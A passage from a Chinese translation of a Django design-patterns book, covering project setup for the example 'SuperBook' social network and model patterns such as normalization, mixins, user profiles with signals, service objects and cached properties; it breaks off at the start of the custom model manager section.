即使您已经为开发创建了 Python 虚拟环境,尝试所有这些软件包然后将它们丢弃可能会污染您的环境。因此,我通常会创建一个名为“sandbox”的单独虚拟环境,纯粹用于尝试这些应用程序。然后,我构建一个小项目来了解使用起来有多容易。

稍后,如果我对应用程序的试用感到满意,我会使用 Git 等版本控制工具在我的项目中创建一个分支来集成该应用程序。然后,我会在分支中继续编码和运行测试,直到必要的功能被添加。最后,这个分支将被审查并合并回主线(有时称为master)分支。

哪些软件包成功了?

为了说明这个过程,我们的 SuperBook 项目可以大致分为以下应用程序(不是完整的列表):

  • 身份验证(内置django.auth):这个应用程序处理用户注册、登录和注销

  • 账户(自定义):这个应用程序提供额外的用户个人资料信息

  • 帖子(自定义):这个应用程序提供帖子和评论功能

  • Pows(自定义):这个应用程序跟踪任何项目获得多少“pows”(点赞或喜欢)

  • Bootstrap forms(crispy-forms):这个应用程序处理表单布局和样式

在这里,一个应用程序被标记为从头开始构建(标记为“自定义”)或我们将使用的第三方 Django 应用程序。随着项目的进展,这些选择可能会改变。但是,这已经足够好了。

在开始项目之前

在准备开发环境时,请确保以下内容已经就位:

  • 一个新的 Python 虚拟环境:Python 3 包括venv模块,或者您可以安装virtualenv。它们都可以防止污染全局 Python 库。

  • 版本控制:始终使用 Git 或 Mercurial 等版本控制工具。它们是救命稻草。您还可以更加自信和无畏地进行更改。

  • 选择一个项目模板:Django 的默认项目模板不是唯一的选择。根据您的需求,尝试其他模板,如twoscoopsgithub.com/twoscoops/django-twoscoops-project)或edgegithub.com/arocks/edge)。

  • 部署流水线:我通常会稍后再担心这个问题,但是拥有一个简单的部署流程有助于早期展示进展。我更喜欢 Fabric 或 Ansible。

SuperBook-您的任务,如果您选择接受

本书认为通过示例演示 Django 设计模式和最佳实践的实际和务实的方法。为了保持一致,我们所有的例子都将围绕构建一个名为 SuperBook 的社交网络项目。

SuperBook 专注于被忽视的超能力人群的利基市场。您是一个开发团队中的开发人员,团队中还有其他开发人员、网页设计师、市场经理和项目经理。

该项目将在撰写时的最新版本的 Python(版本 3.4)和 Django(版本 1.7)中构建。由于选择 Python 3 可能是一个有争议的话题,它值得更详细的解释。

为什么选择 Python 3?

尽管 Python 3 的开发始于 2006 年,但它的第一个版本 Python 3.0 是在 2008 年 12 月 3 日发布的。不向后兼容版本的主要原因是——将所有字符串切换为 Unicode,增加迭代器的使用,清理弃用的特性,如旧式类,以及一些新的语法添加,如nonlocal语句。

Django 社区对 Python 3 的反应相当复杂。尽管 2 和 3 版本之间的语言变化很小(并且随着时间的推移减少),但迁移整个 Django 代码库是一项重大的工作。

2 月 13 日,Django 1.5 成为第一个支持 Python 3 的版本。开发人员已经明确表示,未来 Django 将使用 Python 3 编写,并旨在向后兼容 Python 2。

对于本书来说,Python 3 是理想的,原因如下:

  • 更好的语法:这修复了很多丑陋的语法,比如izipxrange__unicode__,用更清晰、更直接的ziprange__str__

  • 充分的第三方支持:在前 200 个第三方库中,超过 80%支持 Python 3。

  • 没有遗留代码:我们正在创建一个新项目,而不是处理需要支持旧版本的遗留代码。

  • 现代平台的默认设置:这已经是 Arch Linux 中的默认 Python 解释器。Ubuntu 和 Fedora 计划在将来的版本中完成切换。

  • 它很容易:从 Django 开发的角度来看,几乎没有什么变化,而且可以在几分钟内学会所有变化。

最后一点很重要。即使你使用 Python 2,这本书也会对你有所帮助。阅读附录 A 以了解这些变化。你只需要做最小的调整来回溯示例代码。

启动项目

本节包含了 SuperBook 项目的安装说明,其中包含了本书中使用的所有示例代码。请查看项目的 README 文件以获取最新的安装说明。建议您首先创建一个名为superbook的新目录,其中包含虚拟环境和项目源代码。

理想情况下,每个 Django 项目都应该在自己单独的虚拟环境中。这样可以轻松安装、更新和删除软件包,而不会影响其他应用程序。在 Python 3.4 中,建议使用内置的venv模块,因为它默认还会安装pip

$ python3 -m venv sbenv
$ source sbenv/bin/activate
$ export PATH="`pwd`/sbenv/local/bin:$PATH"

这些命令应该在大多数基于 Unix 的操作系统中都能工作。有关其他操作系统的安装说明或详细步骤,请参阅 Github 存储库中的 README 文件:github.com/DjangoPatternsBook/superbook。在第一行中,我们将 Python 3.4 可执行文件称为python3;请确认这对于您的操作系统和发行版是否正确。

在某些情况下,最后一个导出命令可能不是必需的。如果运行pip freeze列出的是系统包而不是空的,那么你需要输入这行。

提示

在开始 Django 项目之前,请创建一个新的虚拟环境。

接下来,从 GitHub 克隆示例项目并安装依赖项:

$ git clone https://github.com/DjangoPatternsBook/superbook.git
$ cd superbook
$ pip install -r requirements.txt

如果你想看一下完成的 SuperBook 网站,只需运行migrate并启动测试服务器:

$ cd final
$ python manage.py migrate
$ python manage.py createsuperuser
$ python manage.py runserver

在 Django 1.7 中,migrate命令已经取代了syncdb命令。我们还需要显式调用createsuperuser命令来创建一个超级用户,以便我们可以访问管理员。

你可以访问http://127.0.0.1:8000或终端中指示的 URL,并随意在网站上玩耍。

总结

初学者经常低估了良好的需求收集过程的重要性。与此同时,重要的是不要被细节所困扰,因为编程本质上是一个探索过程。最成功的项目在开发之前花费适当的时间进行准备和规划,以获得最大的收益。

我们讨论了设计应用程序的许多方面,比如创建交互式模型或将其分成可重用的组件,称为应用程序。我们还讨论了设置我们的示例项目 SuperBook 的步骤。

在下一章中,我们将详细了解 Django 的每个组件,并学习围绕它们的设计模式和最佳实践。

第三章:模型

在本章中,我们将讨论以下主题:

  • 模型的重要性

  • 类图

  • 模型结构模式

  • 模型行为模式

  • 迁移

M 比 V 和 C 更大

在 Django 中,模型是提供与数据库打交道的面向对象方式的类。通常,每个类都指的是一个数据库表,每个属性都指的是一个数据库列。你可以使用自动生成的 API 对这些表进行查询。

模型可以成为许多其他组件的基础。一旦你有了一个模型,你就可以快速地派生模型管理员、模型表单和各种通用视图。在每种情况下,你都需要写一两行代码,这样它就不会显得太神奇。

此外,模型的使用范围比你想象的要广。这是因为 Django 可以以多种方式运行。Django 的一些入口点如下:

  • 熟悉的 Web 请求-响应流程

  • Django 交互式 shell

  • 管理命令

  • 测试脚本

  • 诸如 Celery 之类的异步任务队列

在几乎所有这些情况下,模型模块都会被导入(作为django.setup()的一部分)。因此,最好让你的模型摆脱任何不必要的依赖,或者导入其他 Django 组件,如视图。

简而言之,正确设计你的模型非常重要。现在让我们开始 SuperBook 模型设计。

注意

午餐袋

*作者注:SuperBook 项目的进展将出现在这样的一个框中。你可以跳过这个框,但你会错过在 Web 应用项目中工作的见解、经验和戏剧。

史蒂夫与他的客户超级英雄情报和监控S.H.I.M。简称,度过了一个波澜起伏的第一周。办公室非常 futurist,但要做任何事情都需要一百个批准和签字。

作为首席 Django 开发人员,史蒂夫在两天内完成了设置一个中型开发服务器,托管了四台虚拟机。第二天早上,机器本身已经消失了。附近一个洗衣机大小的机器人说,它被带到了法证部门,因为未经批准的软件安装。

然而,CTO 哈特非常乐意帮忙。他要求机器在一个小时内归还,并保持所有安装完好。他还发送了对 SuperBook 项目的预批准,以避免将来出现任何类似的障碍。

那天下午,史蒂夫和他一起吃了午餐。哈特穿着米色西装外套和浅蓝色牛仔裤,准时到达。尽管比大多数人高,头发光秃秃的,他看起来很酷,很平易近人。他问史蒂夫是否看过上世纪六十年代尝试建立超级英雄数据库的尝试。

"哦,是哨兵项目,对吧?"史蒂夫说。 "我看过。数据库似乎被设计为实体-属性-值模型,我认为这是一种反模式。也许他们当时对超级英雄的属性知之甚少。"哈特几乎在最后一句话上略显不悦。他声音稍微低了一些,说:"你说得对,我没看过。而且,他们只给了我两天的时间来设计整个东西。我相信当时确实有一个核弹在某个地方滴答作响。"

史蒂夫张大了嘴,他的三明治在嘴里僵住了。哈特微笑着说:"当然不是我的最佳作品。一旦超过了大约十亿条目,我们花了几天时间才能对那该死的数据库进行任何分析。SuperBook 会在短短几秒钟内完成,对吧?"

史蒂夫微弱地点了点头。他从未想象过第一次会有大约十亿个超级英雄。

模型搜索

这是对 SuperBook 中模型的第一次识别。典型的早期尝试,我们只表示了基本模型及其关系,以类图的形式:

模型搜索

让我们暂时忘记模型,用我们建模的对象来谈论。每个用户都有一个个人资料。用户可以发表多条评论或多篇文章。喜欢可以与单个用户/帖子组合相关联。

建议绘制类图来描述您的模型。在这个阶段可能会缺少一些属性,但您可以稍后详细说明。一旦整个项目在图表中表示出来,就会更容易分离应用程序。

以下是创建此表示形式的一些提示:

  • 方框表示实体,这些实体将成为模型。

  • 您的写作中的名词通常最终成为实体。

  • 箭头是双向的,代表 Django 中三种关系类型之一:一对一,一对多(使用外键实现),和多对多。

  • 实体-关系模型ER 模型)的模型中定义了表示一对多关系的字段。换句话说,星号是声明外键的地方。

类图可以映射到以下 Django 代码(将分布在几个应用程序中):

class Profile(models.Model):
    user = models.OneToOneField(User)

class Post(models.Model):
    posted_by = models.ForeignKey(User)

class Comment(models.Model):
    commented_by = models.ForeignKey(User)
    for_post = models.ForeignKey(Post)

class Like(models.Model):
    liked_by = models.ForeignKey(User)
    post = models.ForeignKey(Post)

稍后,我们将不直接引用User,而是使用更一般的settings.AUTH_USER_MODEL

将 models.py 拆分为多个文件

与 Django 的大多数组件一样,可以将大型的models.py文件拆分为包内的多个文件。被实现为一个目录,其中可以包含多个文件,其中一个必须是一个名为__init__.py的特殊命名文件。

可以在包级别公开的所有定义都必须在__init__.py中以全局范围定义。例如,如果我们将models.py拆分为单独的类,放在models子目录内的相应文件中,如postable.pypost.pycomment.py,那么__init__.py包将如下所示:

from postable import Postable
from post import Post
from comment import Comment

现在您可以像以前一样导入models.Post

__init__.py包中的任何其他代码在导入包时都会运行。因此,这是任何包级别初始化代码的理想位置。

结构模式

本节包含几种设计模式,可以帮助您设计和构造模型。

模式 - 规范化模型

问题:按设计,模型实例具有导致数据不一致的重复数据。

解决方案:通过规范化将模型分解为较小的模型。使用这些模型之间的逻辑关系连接这些模型。

问题细节

想象一下,如果有人以以下方式设计我们的 Post 表(省略某些列):

超级英雄名称 消息 发布于
阿尔法队长 是否已发布? 2012/07/07 07:15
英语教授 应该是'Is'而不是'Has'。 2012/07/07 07:17
阿尔法队长 是否已发布? 2012/07/07 07:18
阿尔法队长 是否已发布? 2012/07/07 07:19

我希望您注意到了最后一行中不一致的超级英雄命名(以及队长一贯的缺乏耐心)。

如果我们看第一列,我们不确定哪种拼写是正确的—Captain Temper还是Capt. Temper。这是我们希望通过规范化消除的数据冗余。

解决方案细节

在我们查看完全规范化的解决方案之前,让我们简要介绍一下 Django 模型的数据库规范化的概念。

规范化的三个步骤

规范化有助于您高效地存储数据。一旦您的模型完全规范化,它们将不会有冗余数据,每个模型应该只包含与其逻辑相关的数据。

举个快速的例子,如果我们要规范化 Post 表,以便我们可以明确地引用发布该消息的超级英雄,那么我们需要将用户详细信息隔离在一个单独的表中。Django 已经默认创建了用户表。因此,您只需要在第一列中引用发布消息的用户的 ID,如下表所示:

用户 ID 消息 发布于
12 是否已发布? 2012/07/07 07:15
8 应该是'Is'而不是'Has'。 2012/07/07 07:17
12 这个帖子发出来了吗? 2012/07/07 07:18
12 这个帖子发出来了吗? 2012/07/07 07:19

现在,不仅清楚地知道有三条消息是由同一用户(具有任意用户 ID)发布的,而且我们还可以通过查找用户表找到该用户的正确姓名。

通常,您将设计您的模型以达到其完全规范化的形式,然后出于性能原因选择性地对其进行去规范化。在数据库中,正常形式是一组可应用于表以确保其规范化的准则。通常的正常形式有第一、第二和第三正常形式,尽管它们可以达到第五正常形式。

在下一个示例中,我们将规范化一个表并创建相应的 Django 模型。想象一个名为'Sightings'的电子表格,列出了第一次有人发现超级英雄使用力量或超人能力的时间。每个条目都提到已知的起源、超能力和第一次目击的位置,包括纬度和经度。

名字 起源 力量 第一次使用地点(纬度、经度、国家、时间)
突袭 外星人 冻结飞行 +40.75, -73.99; 美国; 2014/07/03 23:12+34.05, -118.24; 美国; 2013/03/12 11:30
十六进制 科学家 念力飞行 +35.68, +139.73; 日本; 2010/02/17 20:15+31.23, +121.45; 中国; 2010/02/19 20:30
旅行者 亿万富翁 时空旅行 +43.62, +1.45, 法国; 2010/11/10 08:20

前面的地理数据已从www.golombek.com/locations.html中提取。

第一正常形式(1NF)

要符合第一正常形式,表必须具有:

  • 没有具有多个值的属性(单元格)

  • 定义为单列或一组列(复合键)的主键

让我们尝试将我们的电子表格转换为数据库表。显然,我们的'Power'列违反了第一条规则。

这里更新的表满足了第一正常形式。主键(用标记)是'Name''Power'*的组合,对于每一行来说应该是唯一的。

名字* 起源 力量* 纬度 经度 国家 时间
突袭 外星人 冻结 +40.75170 -73.99420 美国 2014/07/03 23:12
突袭 外星人 飞行 +40.75170 -73.99420 美国 2013/03/12 11:30
十六进制 科学家 念力 +35.68330 +139.73330 日本 2010/02/17 20:15
十六进制 科学家 飞行 +35.68330 +139.73330 日本 2010/02/19 20:30
旅行者 亿万富翁 时空旅行 +43.61670 +1.45000 法国 2010/11/10 08:20
第二正常形式或 2NF

第二正常形式必须满足第一正常形式的所有条件。此外,它必须满足所有非主键列都必须依赖于整个主键的条件。

在前面的表中,注意'Origin'只取决于超级英雄,即'Name'。我们谈论的Power无关紧要。因此,Origin并不完全依赖于复合主键—NamePower

让我们将起源信息提取到一个名为'Origins'的单独表中,如下所示:

名字* 起源
突袭 外星人
十六进制 科学家
旅行者 亿万富翁

现在,我们更新为符合第二正常形式的Sightings表如下:

名字* 力量* 纬度 经度 国家 时间
突袭 冻结 +40.75170 -73.99420 美国 2014/07/03 23:12
突袭 飞行 +40.75170 -73.99420 美国 2013/03/12 11:30
十六进制 念力 +35.68330 +139.73330 日本 2010/02/17 20:15
十六进制 飞行 +35.68330 +139.73330 日本 2010/02/19 20:30
旅行者 时空旅行 +43.61670 +1.45000 法国 2010/11/10 08:20
第三正常形式或 3NF

在第三范式中,表必须满足第二范式,并且还必须满足所有非主键列必须直接依赖于整个主键并且彼此独立的条件。

想一下国家列。根据纬度经度,您可以很容易地推导出国家列。尽管超级能力出现的国家取决于名称-能力复合主键,但它只间接依赖于它们。

因此,让我们将位置细节分离到一个单独的国家表中,如下所示:

位置 ID 纬度* 经度* 国家
1 +40.75170 -73.99420 美国
2 +35.68330 +139.73330 日本
3 +43.61670 +1.45000 法国

现在我们的Sightings表在第三范式中看起来像这样:

用户 ID* 能力* 位置 ID 时间
2 冰冻 1 2014/07/03 23:12
2 飞行 1 2013/03/12 11:30
4 念力 2 2010/02/17 20:15
4 飞行 2 2010/02/19 20:30
7 时间旅行 3 2010/11/10 08:20

与以前一样,我们已经用对应的用户 ID替换了超级英雄的名字,这可以用来引用用户表。

Django 模型

现在我们可以看一下这些规范化表如何表示为 Django 模型。Django 不直接支持复合键。这里使用的解决方案是应用代理键,并在Meta类中指定unique_together属性:

class Origin(models.Model):
    superhero = models.ForeignKey(settings.AUTH_USER_MODEL)
    origin = models.CharField(max_length=100)
class Location(models.Model):
    latitude = models.FloatField()
    longitude = models.FloatField()
    country = models.CharField(max_length=100)
    class Meta:
        unique_together = ("latitude", "longitude")
class Sighting(models.Model):
    superhero = models.ForeignKey(settings.AUTH_USER_MODEL)
    power = models.CharField(max_length=100)
    location = models.ForeignKey(Location)
    sighted_on = models.DateTimeField()
    class Meta:
        unique_together = ("superhero", "power")

性能和去规范化

规范化可能会对性能产生不利影响。随着模型数量的增加,回答查询所需的连接数量也会增加。例如,要找到在美国具有冰冻能力的超级英雄数量,您将需要连接四个表。在规范化之前,可以通过查询单个表找到任何信息。

您应该设计您的模型以保持数据规范化。这将保持数据完整性。但是,如果您的网站面临可扩展性问题,那么您可以有选择地从这些模型中派生数据,以创建去规范化的数据。

提示

最佳实践

设计时规范化,优化时去规范化。

例如,如果在某个特定国家中计算目击事件是非常常见的,那么将其作为Location模型的一个附加字段。现在,您可以使用 Django 的 ORM 包括其他查询,而不是使用缓存值。

但是,您需要在每次添加或删除一个目击事件时更新这个计数。您需要将这个计算添加到Sightingsave方法中,添加一个信号处理程序,或者甚至使用异步作业进行计算。

如果您有一个跨多个表的复杂查询,比如按国家统计超能力的数量,那么您需要创建一个单独的去规范化表。与以前一样,每当规范化模型中的数据发生更改时,我们都需要更新这个去规范化表。

去规范化在大型网站中非常常见,因为它是速度和空间之间的权衡。如今,空间是廉价的,但速度对用户体验至关重要。因此,如果您的查询响应时间过长,那么您可能需要考虑去规范化。

我们是否总是要规范化?

过度规范化并不一定是件好事。有时,它可能会引入一个不必要的表,从而使更新和查找变得复杂。

例如,您的用户模型可能有几个字段用于他们的家庭地址。严格来说,您可以将这些字段规范化为一个地址模型。但是,在许多情况下,引入一个额外的表到数据库中可能是不必要的。

与其追求最规范化的设计,不如在重构之前仔细权衡每个规范化的机会并考虑权衡。

模式-模型混合

问题:不同的模型具有相同的字段和/或重复的方法,违反了 DRY 原则。

解决方案:将常见字段和方法提取到各种可重用的模型混合中。

问题细节

在设计模型时,您可能会发现某些共享模型类之间共享的常见属性或行为。例如,“帖子”和“评论”模型需要跟踪其“创建”日期和“修改”日期。手动复制字段及其关联方法并不是一种非常 DRY 的方法。

由于 Django 模型是类,因此可以使用面向对象的方法,如组合和继承。但是,组合(通过具有包含共享类实例的属性)将需要额外的间接级别来访问字段。

继承可能会变得棘手。我们可以为“帖子”和“评论”使用一个共同的基类。但是,在 Django 中有三种继承方式:具体抽象代理

具体继承通过从基类派生,就像在 Python 类中通常做的那样。但是,在 Django 中,这个基类将被映射到一个单独的表中。每次访问基本字段时,都需要隐式连接。这会导致性能恶化。

代理继承只能向父类添加新行为。您不能添加新字段。因此,对于这种情况,它并不是非常有用。

最后,我们剩下了抽象继承。

解决方案细节

抽象基类是用于在模型之间共享数据和行为的优雅解决方案。当您定义一个抽象类时,它不会在数据库中创建任何相应的表。相反,这些字段将在派生的非抽象类中创建。

访问抽象基类字段不需要JOIN语句。由于这些优势,大多数 Django 项目使用抽象基类来实现常见字段或方法。

抽象模型的局限性如下:

  • 它们不能有来自另一个模型的外键或多对多字段

  • 它们不能被实例化或保存

  • 它们不能直接在查询中使用,因为它没有一个管理器

以下是如何最初设计帖子和评论类的抽象基类:

class Postable(models.Model):
    created = models.DateTimeField(auto_now_add=True)
    modified = models.DateTimeField(auto_now=True)
    message = models.TextField(max_length=500)

    class Meta:
        abstract = True

class Post(Postable):
    ...

class Comment(Postable):
    ...

要将模型转换为抽象基类,您需要在其内部Meta类中提到abstract = True。在这里,Postable是一个抽象基类。但是,它并不是非常可重用的。

实际上,如果有一个只有“创建”和“修改”字段的类,那么我们可以在几乎任何需要时间戳的模型中重用该时间戳功能。在这种情况下,我们通常定义一个模型混合。

模型混合

模型混合是可以添加为模型的父类的抽象类。Python 支持多重继承,不像其他语言如 Java。因此,您可以为模型列出任意数量的父类。

混合类应该是正交的并且易于组合。将混合类放入基类列表中,它们应该可以工作。在这方面,它们更类似于组合而不是继承的行为。

较小的混合类更好。每当混合类变得庞大并违反单一责任原则时,考虑将其重构为较小的类。让混合类只做一件事,并且做得很好。

在我们之前的示例中,用于更新“创建”和“修改”时间的模型混合可以很容易地被分解,如下面的代码所示:

class TimeStampedModel(models.Model):
    created = models.DateTimeField(auto_now_add=True)
    modified = models.DateTimeField(auto_now =True)

    class Meta:
        abstract = True

class Postable(TimeStampedModel):
    message = models.TextField(max_length=500)
    ... 

    class Meta:
        abstract = True

class Post(Postable):
    ...

class Comment(Postable):
    ...

现在我们有两个基类。但是,功能明显分开。混合类可以分离到自己的模块中,并在其他上下文中重用。

模式 - 用户配置文件

问题:每个网站存储不同的用户配置文件详细信息。但是,Django 内置的User模型是用于身份验证详细信息的。

解决方案:创建一个用户配置文件类,与用户模型有一对一的关系。

问题细节

Django 提供了一个相当不错的User模型。您可以在创建超级用户或登录到管理界面时使用它。它有一些基本字段,如全名,用户名和电子邮件。

然而,大多数现实世界的项目都会保存更多关于用户的信息,比如他们的地址、喜欢的电影,或者他们的超能力。从 Django 1.5 开始,默认的User模型可以被扩展或替换。然而,官方文档强烈建议即使在自定义用户模型中也只存储认证数据(毕竟它属于auth应用)。

某些项目需要多种类型的用户。例如,SuperBook 可以被超级英雄和非超级英雄使用。根据用户类型,可能会有共同的字段和一些特殊的字段。

解决方案细节

官方推荐的解决方案是创建一个用户配置模型。它应该与用户模型有一对一的关系。所有额外的用户信息都存储在这个模型中:

class Profile(models.Model):
    user = models.OneToOneField(settings.AUTH_USER_MODEL,
                                primary_key=True)

建议您将primary_key显式设置为True,以防止一些数据库后端(如 PostgreSQL)中的并发问题。模型的其余部分可以包含任何其他用户详细信息,例如出生日期、喜欢的颜色等。

在设计配置模型时,建议所有配置详细字段都必须是可空的或包含默认值。直观地,我们可以理解用户在注册时无法填写所有配置详细信息。此外,我们还将确保信号处理程序在创建配置实例时也不传递任何初始参数。

信号

理想情况下,每次创建用户模型实例时,都必须创建一个相应的用户配置实例。这通常是使用信号来完成的。

例如,我们可以监听用户模型的post_save信号,使用以下信号处理程序:

# signals.py
from django.db.models.signals import post_save
from django.dispatch import receiver
from django.conf import settings 
from . import models

@receiver(post_save, sender=settings.AUTH_USER_MODEL)
def create_profile_handler(sender, instance, created, **kwargs):
    if not created:
        return
    # Create the profile object, only if it is newly created
    profile = models.Profile(user=instance)
    profile.save()

请注意,配置模型除了用户实例之外,没有传递任何额外的初始参数。

以前,没有特定的位置来初始化信号代码。通常它们被导入或实现在models.py中(这是不可靠的)。然而,随着 Django 1.7 中的应用加载重构,应用初始化代码的位置得到了明确定义。

首先,为您的应用创建一个__init__.py包,以提及您的应用的ProfileConfig

default_app_config = "profiles.apps.ProfileConfig"

接下来,在app.py中对ProfileConfig方法进行子类化,并在ready方法中设置信号:

# app.py
from django.apps import AppConfig

class ProfileConfig(AppConfig):
    name = "profiles"
    verbose_name = 'User Profiles'

    def ready(self):
        from . import signals

设置好信号后,访问user.profile应该会返回一个Profile对象给所有用户,甚至是新创建的用户。

管理员

现在,用户的详细信息将在管理员中的两个不同位置:通常用户管理员页面中的认证详细信息和同一用户的额外配置详细信息在单独的配置管理员页面中。这变得非常繁琐。

为了方便起见,可以通过定义自定义的UserAdmin将配置管理员内联到默认的用户管理员中:

# admin.py
from django.contrib import admin
from .models import Profile
from django.contrib.auth.models import User

class UserProfileInline(admin.StackedInline):
    model = Profile

class UserAdmin(admin.UserAdmin):
    inlines = [UserProfileInline]

admin.site.unregister(User)
admin.site.register(User, UserAdmin)

多种配置类型

假设您的应用程序需要几种不同类型的用户配置。需要有一个字段来跟踪用户拥有的配置类型。配置数据本身需要存储在单独的模型或统一的模型中。

建议使用聚合配置方法,因为它可以灵活地更改配置类型而不会丢失配置详细信息,并且可以最小化复杂性。在这种方法中,配置模型包含来自所有配置类型的所有配置字段的超集。

例如,SuperBook 将需要一个SuperHero类型的配置和一个Ordinary(非超级英雄)配置。可以使用单一统一的配置模型来实现如下:

class BaseProfile(models.Model):
    USER_TYPES = (
        (0, 'Ordinary'),
        (1, 'SuperHero'),
    )
    user = models.OneToOneField(settings.AUTH_USER_MODEL,
                                primary_key=True)
    user_type = models.IntegerField(max_length=1, null=True,
                                    choices=USER_TYPES)
    bio = models.CharField(max_length=200, blank=True, null=True)

    def __str__(self):
        return "{}: {:.20}". format(self.user, self.bio or "")

    class Meta:
        abstract = True

class SuperHeroProfile(models.Model):
    origin = models.CharField(max_length=100, blank=True, null=True)

    class Meta:
        abstract = True

class OrdinaryProfile(models.Model):
    address = models.CharField(max_length=200, blank=True, null=True)

    class Meta:
        abstract = True

class Profile(SuperHeroProfile, OrdinaryProfile, BaseProfile):
    pass

我们将配置详细信息分组到几个抽象基类中以分离关注点。BaseProfile类包含所有用户类型无关的公共配置详细信息。它还有一个user_type字段,用于跟踪用户的活动配置。

SuperHeroProfile类和OrdinaryProfile类包含特定于超级英雄和非英雄用户的配置详细信息。最后,profile类从所有这些基类派生,以创建配置详细信息的超集。

在使用这种方法时需要注意的一些细节如下:

  • 属于类或其抽象基类的所有配置文件字段必须是可空的或具有默认值。

  • 这种方法可能会消耗更多的数据库空间,但提供了巨大的灵活性。

  • 配置文件类型的活动和非活动字段需要在模型之外进行管理。比如,编辑配置文件的表单必须根据当前活动用户类型显示适当的字段。

模式 - 服务对象

问题:模型可能会变得庞大且难以管理。随着模型的功能变得多样化,测试和维护变得更加困难。

解决方案:将一组相关方法重构为专门的Service对象。

问题细节

对于 Django 初学者来说,经常听到的一句话是“模型臃肿,视图薄”。理想情况下,您的视图除了呈现逻辑之外不应包含任何其他内容。

然而,随着时间的推移,无法放置在其他位置的代码片段往往会进入模型。很快,模型就成了代码的垃圾场。

一些表明您的模型可以使用Service对象的迹象如下:

  1. 与外部服务的交互,例如使用 Web 服务检查用户是否有资格获得SuperHero配置文件。

  2. 不涉及数据库的辅助任务,例如为用户生成短网址或随机验证码。

  3. 涉及没有数据库状态的短暂对象,例如为 AJAX 调用创建 JSON 响应。

  4. 涉及多个实例的长时间运行任务,例如 Celery 任务。

Django 中的模型遵循 Active Record 模式。理想情况下,它们封装了应用程序逻辑和数据库访问。但是,要保持应用程序逻辑最小化。

在测试过程中,如果我们发现自己在不使用数据库的情况下不必要地模拟数据库,那么我们需要考虑拆分模型类。在这种情况下,建议使用Service对象。

解决方案细节

服务对象是封装“服务”或与系统交互的普通 Python 对象(POPOs)。它们通常保存在名为services.pyutils.py的单独文件中。

例如,有时将检查 Web 服务转储到模型方法中,如下所示:

class Profile(models.Model):
    ...

    def is_superhero(self):
        url = "http://api.herocheck.com/?q={0}".format(
              self.user.username)
        return webclient.get(url)

可以将此方法重构为使用服务对象,如下所示:

from .services import SuperHeroWebAPI

    def is_superhero(self):
        return SuperHeroWebAPI.is_hero(self.user.username)

现在可以在services.py中定义服务对象,如下所示:

API_URL = "http://api.herocheck.com/?q={0}"

class SuperHeroWebAPI:
    ...
    @staticmethod
    def is_hero(username):
        url =API_URL.format(username)
        return webclient.get(url)

在大多数情况下,Service对象的方法是无状态的,即它们仅基于函数参数执行操作,而不使用任何类属性。因此,最好明确将它们标记为静态方法(就像我们为is_hero所做的那样)。

考虑将业务逻辑或领域逻辑从模型中重构到服务对象中。这样,您也可以在 Django 应用程序之外使用它们。

假设有一个业务原因,根据用户名将某些用户列入黑名单,以防止他们成为超级英雄类型。我们的服务对象可以很容易地修改以支持这一点:

class SuperHeroWebAPI:
    ...
    @staticmethod
    def is_hero(username):
        blacklist = set(["syndrome", "kcka$$", "superfake"])
        url =API_URL.format(username)
        return username not in blacklist and webclient.get(url)

理想情况下,服务对象是自包含的。这使它们易于在没有模拟的情况下进行测试,比如数据库。它们也可以很容易地被重用。

在 Django 中,使用诸如 Celery 之类的任务队列异步执行耗时服务。通常,Service对象操作作为 Celery 任务运行。此类任务可以定期运行或延迟运行。

检索模式

本节包含处理访问模型属性或对其执行查询的设计模式。

模式 - 属性字段

问题:模型具有实现为方法的属性。但是,这些属性不应持久存储到数据库中。

解决方案:对这些方法使用 property 装饰器。

问题细节

模型字段存储每个实例的属性,例如名字、姓氏、生日等。它们也存储在数据库中。但是,我们还需要访问一些派生属性,例如全名或年龄。

它们可以很容易地从数据库字段中计算出来,因此不需要单独存储。在某些情况下,它们只是一个条件检查,比如基于年龄、会员积分和活跃状态的优惠资格。

实现这一点的一个直接方法是定义函数,比如get_age,类似于以下内容:

class BaseProfile(models.Model):
    birthdate = models.DateField()
    #...
    def get_age(self):
        today = datetime.date.today()
        return (today.year - self.birthdate.year) - int(
            (today.month, today.day) <
            (self.birthdate.month, self.birthdate.day))

调用profile.get_age()将返回用户的年龄,通过计算根据月份和日期调整的年份差。

然而,调用profile.age更可读(和 Pythonic)。

解决方案细节

Python 类可以使用property装饰器将函数视为属性。Django 模型也可以使用它。在前面的例子中,用以下内容替换函数定义行:

    @property
    def age(self):

现在,我们可以通过profile.age访问用户的年龄。注意函数的名称也被缩短了。

属性的一个重要缺点是它对 ORM 是不可见的,就像模型方法一样。你不能在QuerySet对象中使用它。例如,这样是行不通的,Profile.objects.exclude(age__lt=18)

也许定义一个属性来隐藏内部类的细节是一个好主意。这在正式上被称为迪米特法则。简单来说,这个法则规定你只能访问自己的直接成员或者“只使用一个点”。

例如,与其访问profile.birthdate.year,最好定义一个profile.birthyear属性。这样可以帮助隐藏birthdate字段的底层结构。

提示

最佳实践

遵循迪米特法则,在访问属性时只使用一个点。

这个法则的一个不良副作用是它会导致模型中创建几个包装属性。这可能会使模型变得臃肿并且难以维护。在合适的地方使用这个法则来改进你的模型 API 并减少耦合是更可读(和 Pythonic)的。

缓存属性

每次调用属性时,我们都在重新计算一个函数。如果这是一个昂贵的计算,我们可能希望缓存结果。这样,下次访问属性时,将返回缓存的值。

from django.utils.functional import cached_property
    #...
    @cached_property
    def full_name(self):
        # Expensive operation e.g. external service call
        return "{0} {1}".format(self.firstname, self.lastname)

缓存的值将作为 Python 实例的一部分保存。只要实例存在,就会返回相同的值。

作为一种保险机制,你可能希望强制执行昂贵操作以确保不返回陈旧的值。在这种情况下,设置一个关键字参数,比如cached=False来防止返回缓存的值。

模式 - 自定义模型管理器

问题:模型上的某些查询在整个代码中被定义和访问,违反了 DRY 原则。

解决方案:定义自定义管理器来为常见查询提供有意义的名称。

问题细节

每个 Django 模型都有一个名为objects的默认管理器。调用objects.all(),将返回数据库中该模型的所有条目。通常,我们只对所有条目的一个子集感兴趣。

我们应用各种过滤器来找到我们需要的条目集。选择它们的标准通常是我们的核心业务逻辑。例如,我们可以通过以下代码找到对公众可访问的帖子:

public = Posts.objects.filter(privacy="public")

这个标准可能会在未来发生变化。比如,我们可能还想检查帖子是否被标记为编辑。这个变化可能看起来像这样:

public = Posts.objects.filter(privacy=POST_PRIVACY.Public,
         draft=False)

然而,这个变化需要在需要公共帖子的每个地方进行。这可能会变得非常令人沮丧。需要有一个地方来定义这样的常用查询,而不是“重复自己”。

解决方案细节

